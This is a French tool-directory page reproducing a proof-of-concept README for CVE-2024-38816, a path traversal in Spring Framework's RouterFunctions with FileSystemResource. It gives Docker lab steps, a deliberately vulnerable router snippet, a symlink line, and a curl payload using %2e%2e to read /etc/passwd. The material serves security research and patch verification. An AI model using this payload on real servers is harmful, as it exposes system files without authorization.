Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/wulinpin/cve-2024-38816-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

Preuve de concept pour CVE-2024-38816

Voir le dépôt
976il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept (PoC) pour CVE-2024-38816

Ceci est une preuve de concept pour la vulnérabilité CVE-2024-38816, démontrant une exploitation par traversée de chemin.

Étapes d'exécution

  1. Construire l'image Docker : (Spring Boot 3.0.13, basé sur Spring Framework 6.0.3)

    root@kitploit:~
    docker build -t cve-2024-38816-poc .
    
  2. Lancer le conteneur et exposer le port 8080 vers la machine hôte :

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. Exécuter la commande suivante pour lancer le PoC et confirmer la vulnérabilité :

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Si le contenu du fichier /etc/passwd s'affiche, la vulnérabilité est confirmée.

Remarques

Ce PoC a été créé sur la base d'une analyse des notes de version et des journaux de commits. Le comportement réel de la vulnérabilité peut différer, la précision n'est donc pas garantie. Utilisez-le à vos propres risques.

Considérations

Télécharger l’outil
  1. La vulnérabilité a été corrigée dans Spring Framework 6.1.13, comme l'indiquent les notes de version.

  2. En examinant les notes de version et les journaux de commits associés, j'ai identifié les deux problèmes suivants comme étant potentiellement liés à cette vulnérabilité :

    • Problème #33424 : Une nouvelle option liée aux liens symboliques a été ajoutée.
      • Commit associé : 5d80d75051f395c17f6b9367e267d458585b336d
    • Problème #33434 : Le code de nettoyage des caractères encodés en % a été modifié.
      • Commit associé : d86bf8b2056429edf5494456cffcb2b243331c49
  3. Selon l'avis de sécurité, les conditions suivantes doivent probablement être réunies pour que l'attaque réussisse :

    • RouterFunctions est utilisé
    • FileSystemResource est utilisé
    • Des liens symboliques sont présents
    • Des caractères encodés en % sont impliqués dans l'attaque

Configuration de l'environnement

Un environnement Docker est utilisé pour reproduire la vulnérabilité.

  1. Créer PathTraversalDemoApplication.java avec le code suivant pour configurer le routage de fichiers statiques à l'aide de RouterFunction et FileSystemResource :

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Ajouter la commande suivante au Dockerfile pour créer un lien symbolique :

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. Créer une charge utile qui exploite l'encodage en % pour traverser les répertoires via le lien symbolique.

    • Chemin : /static/link/%2e%2e/etc/passwd
  4. Utiliser la commande curl suivante pour exécuter le PoC et vérifier si l'attaque réussit :

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Si l'attaque réussit, le contenu du fichier /etc/passwd s'affichera.

Avertissement

Ce PoC est fourni à des fins éducatives et de recherche en sécurité. Avant de l'utiliser dans un système réel, assurez-vous que la vulnérabilité a été corrigée et que vous disposez des autorisations appropriées. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code.